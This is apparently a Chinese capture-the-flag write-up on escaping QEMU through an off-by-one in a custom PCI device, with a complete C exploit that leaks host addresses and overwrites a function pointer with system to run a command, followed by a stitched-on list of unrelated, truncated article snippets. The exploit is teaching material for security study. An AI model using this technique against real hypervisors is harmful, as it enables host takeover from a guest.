【qemu逃逸】华为云2021-qemu_zzz
前言
虚拟机用户名:root
无密码
设备逆向
经过逆向分析,可得实例结构体大致结构如下:

其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用数组填充了。
zzz_mmio_read 函数就是读取 buf 中的内容,没啥用,就不看了,重点在 zzz_mmio_write 函数中。
zzz_mmio_write 函数


函数我已经把注释写的非常清楚了,就不详细说了。主要说下漏洞的利用。
漏洞利用
漏洞很明显就一个 off by one,而且题目无中生有的在 buf 后面搞了个 self 指针,并且在对 dst 进行读写时,是先取的 self 指针,然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。
所以利用就很明显了,buf 这个空间我们是可控的,所以我们可以利用 off by one 去将 self 指针进行偏移,使得 dst,len,offset 落在 buf 中,这样就可以实现任意读了。
为啥说是任意读呢?因为要实现写得让 len 的低比特为 0,这里可以利用那个异或操作。
exp:
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr >> 12 << 3), 0);read(fd, &page, 8);return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{mmio_init();char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);memset(buf, 0, 0x1000);mlock(buf, 0x1000);uint64_t gpa = gva_to_gpa(buf);printf("[+] gpa: %#p\n", gpa);//n = 0x1001//offset = 0xfee//offset ^ 0x209 = 0xde7char cmd[8] = "xcalc;\x00\x00";*(uint64_t*)(buf + 0x00) = gpa;*(uint32_t*)(buf + 0x08) = (0x1000-0xfee)|1;*(uint32_t*)(buf + 0x0a) = 0xfee;*(uint64_t*)(buf + 0x430) = *(uint64_t*)cmd;*(uint64_t*)(buf + 0x430 + 0x8) = 0;*(uint64_t*)(buf + 0x430 + 0xa) = 0;puts("[+] Step 1");mmio_write(0x10, 0);mmio_write(0x18, 0x440);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 2");buf[0] = '\x00';buf[1] = '\xf0';mmio_write(0x10, 0xfff);mmio_write(0x18, 2);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 3");mmio_write(0x60, 0);binary_dump("OOR DATA", buf+2, 0x20);uint64_t self_addr = *(uint64_t*)(buf + 2) - 0x10;uint64_t system_plt = *(uint64_t*)(buf + 2 + 0x08) - 0x314b40;printf("[+] system@plt: %#p\n", system_plt);puts("[+] Step 4");mmio_write(0x10, 8);mmio_write(0x18, 24);puts("[+] xor xor");mmio_write(0x50, 0);buf[0] = '\x00';*(uint64_t*)(buf + 1) = self_addr + 0xe20;*(uint32_t*)(buf + 1 + 8) = 0;*(uint32_t*)(buf + 1 + 8 + 4) = 0;*(uint64_t*)(buf + 0x209) = self_addr + 0xe08;*(uint64_t*)(buf + 0x209 + 0x8) = system_plt;puts("[+] Step 5");mmio_write(0x60, 0);puts("[+] Triger");mmio_write(0x60, 0);puts("[+] END!");return 0;
}
效果如下:

坑点
就我而言,在我的本地环境中,实例结构体地址的低字节为 0xe0,而由于我们只能修改低字节的数据,所以这里就只能把 self 的低字节修改为 0xf0。

在伪造 dst/len/offset,如果你伪造的 offset = 0xff0,len = 0x11 你会发现,后面异或之后其 len + offset > 0x1001 导致无法进行写入(针对实例结构体而言)。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len:
for offset in range(0, 0xff0):orgi_n = offset + ((0x1000 - offset)|1)n = (offset^0x209) + ((((0x1000-offset)|1))^0x209)if n == 0x1001 and orgi_n == 0x1001:print("n = ", hex(n))print("offset = ", hex(offset))print("offset ^ 0x209 = ", hex(offset ^ 0x209))print("========================================")相关文章:
【qemu逃逸】华为云2021-qemu_zzz
前言 虚拟机用户名:root 无密码 设备逆向 经过逆向分析,可得实例结构体大致结构如下: 其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用…...
vue递归获取树形菜单
文章目录 前言什么是递归? 一、数据集二、 递归函数三、打印树形结构展示 前言 什么是递归? 程序调用自身的编程技巧称为递归( recursion)。 递归 粗略的理解为 循环 ,只不过 递归 是调用自身。 在实际使用中…...
[ubuntu]ubuntu22.04默认源和国内源
sudo vi /etc/apt/sources.list 请选择和系统对应的版本,查看系统版本命令: lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 22.04 LTS Release: 22.04 Codename: jammy Ubuntu不同的版本配置的有…...
Map和ForEach的区别,For in和For of的区别
Map和ForEach的区别: 共同点:都可以遍历数组,this指向window,都不会改变原数组。 不同点:map返回一个数组,不会对空数组进行检测,如果是空数组map的话还是返回一个空数组,而空数组…...
json字符串属性名与实体类字段名转换
在项目开发过程中,会遇到实体类字段名与交互的json对象属性名不一致的情况,比如前段使用的是下划线方式定义,后端采用的是驼峰式定义,其他系统使用t表示一个时间戳,自己的系统使用timestamp定义。遇到这种情况…...
Vue Vuex模块化编码
正常写vuex的index的时候如果数据太多很麻烦,如有的模块是管理用户信息或修改课程等这两个是不同一个种类的,如果代码太多会造成混乱,这时候可以使用模块化管理 原始写法 如果功能模块太多很乱 import Vue from vue import Vuex from vuex …...
消费者忠诚度研究:群狼调研帮您制定忠诚客户计划
在当今竞争激烈的市场环境中,消费者忠诚度对于企业的成功至关重要。消费者忠诚度不仅关系到企业的市场份额和盈利能力,还直接影响着企业的品牌形象和声誉。群狼调研作为一家专业的市场研究机构,专注于消费者忠诚度研究,为企业提供…...
接口幂等性详解
1. 什么是幂等性 幂等性指的是对同一个操作的多次执行所产生的影响与一次执行的影响相同。无论操作执行多少次,系统状态都应该保持一致。 在计算机科学和网络领域中,幂等性通常用来描述服务或操作的特性。对于RESTful API或HTTP方法,一个幂…...
Java操作redis常见类型数据存储
一,Java连接Redis 1.1 导入依赖 打开IDEA在pom.xml导入依赖 注意:要在dependencies标签中导入 <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version> &…...
【深度学习】pytorch——Autograd
笔记为自我总结整理的学习笔记,若有错误欢迎指出哟~ 深度学习专栏链接: http://t.csdnimg.cn/dscW7 pytorch——Autograd Autograd简介requires_grad计算图没有梯度追踪的张量ensor.data 、tensor.detach()非叶子节点的梯度计算图特点总结 利用Autograd实…...
【ARM 安全系列介绍 1 -- 奇偶校验与海明码校验详细介绍】
文章目录 奇偶校验介绍奇偶校验 python 实现奇偶校验C代码实现 海明码详细介绍 奇偶校验介绍 奇偶校验是一种错误检测方法,广泛应用于计算机内部以及数据通信领域。其基本原理是为了使得一组数据(通常是一字节8位)中的“1”的个数为偶数或奇…...
分享34个发布商会PPT,总有一款适合您
分享34个发布商会PPT,总有一款适合您 链接:https://pan.baidu.com/s/1jP9toqTZONWeDIcxvw1wxg?pwd8888 提取码:8888 Python采集代码下载链接:采集代码.zip - 蓝奏云 学习知识费力气,收集整理更不易。知识付费甚…...
047_第三代软件开发-日志分离
第三代软件开发-日志分离 文章目录 第三代软件开发-日志分离项目介绍日志分离用法 关键字: Qt、 Qml、 log、 日志、 分离 项目介绍 欢迎来到我们的 QML & C 项目!这个项目结合了 QML(Qt Meta-Object Language)和 C 的强…...
ChinaSoft 论坛巡礼 | 系统与网络安全论坛
2023年CCF中国软件大会(CCF ChinaSoft 2023)由CCF主办,CCF系统软件专委会、形式化方法专委会、软件工程专委会以及复旦大学联合承办,将于2023年12月1-3日在上海国际会议中心举行。 本次大会主题是“智能化软件创新推动数字经济与社…...
Ubuntu Gitlab安javascript:void(‘numberedlist‘)装
原因: 代码越改越多,越难维护,开发代码和发布代码融为一体;2人以上开发,都会修改代码,修改次数一多,代码难以维护 其中:前往Gitlab官网:gitlab/gitlab-ce - Packages pa…...
11.4-GPT4AllTools版本已开始对小部分GPT3.5用户内测推送
OpenAI已经开始小规模推送GPT4 AllTools功能,部分GPT博主已经第一时间体验了此功能,此功能特色是整合目前的多模态功能以及文件上传和联网模块,无需切换,更要全面综合 可上传包括 PDF、数据文件在内的任意文档,并进行分…...
竞赛选题 深度学习手势检测与识别算法 - opencv python
文章目录 0 前言1 实现效果2 技术原理2.1 手部检测2.1.1 基于肤色空间的手势检测方法2.1.2 基于运动的手势检测方法2.1.3 基于边缘的手势检测方法2.1.4 基于模板的手势检测方法2.1.5 基于机器学习的手势检测方法 3 手部识别3.1 SSD网络3.2 数据集3.3 最终改进的网络结构 4 最后…...
语言模型AI——聊聊GPT使用情形与影响
GPT的出现象征着人工智能自然语言处理技术的一次巨大飞跃。从编程助手到写作利器,它的身影在各个行业中越来越常见。百度【文心一言】、CSDN【C知道】等基于GPT的产品相继推出,让我们看到了其广泛的应用前景。然而,随着GPT的普及,…...
浅谈事件冒泡和事件捕获
事件冒泡和事件捕获分别由微软和网景公司提出,这两个概念都是为了解决页面中事件流(事件发生顺序)的问题。 <div id"div1"><div id"div2"><div id"div3">click</div></div> <…...
CSS 背景、文本、字体
CSS背景: CSS背景属性用于定义HTML元素的背景。CSS属性定义背景效果:background-color;background-image;background-repeat;background-attachment;background-position。 background-color属性定义元素…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
《C++ 模板》
目录 函数模板 类模板 非类型模板参数 模板特化 函数模板特化 类模板的特化 模板,就像一个模具,里面可以将不同类型的材料做成一个形状,其分为函数模板和类模板。 函数模板 函数模板可以简化函数重载的代码。格式:templa…...
【Go语言基础【13】】函数、闭包、方法
文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...
论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving
地址:LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂,正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...
多元隐函数 偏导公式
我们来推导隐函数 z z ( x , y ) z z(x, y) zz(x,y) 的偏导公式,给定一个隐函数关系: F ( x , y , z ( x , y ) ) 0 F(x, y, z(x, y)) 0 F(x,y,z(x,y))0 🧠 目标: 求 ∂ z ∂ x \frac{\partial z}{\partial x} ∂x∂z、 …...
Appium下载安装配置保姆教程(图文详解)
目录 一、Appium软件介绍 1.特点 2.工作原理 3.应用场景 二、环境准备 安装 Node.js 安装 Appium 安装 JDK 安装 Android SDK 安装Python及依赖包 三、安装教程 1.Node.js安装 1.1.下载Node 1.2.安装程序 1.3.配置npm仓储和缓存 1.4. 配置环境 1.5.测试Node.j…...
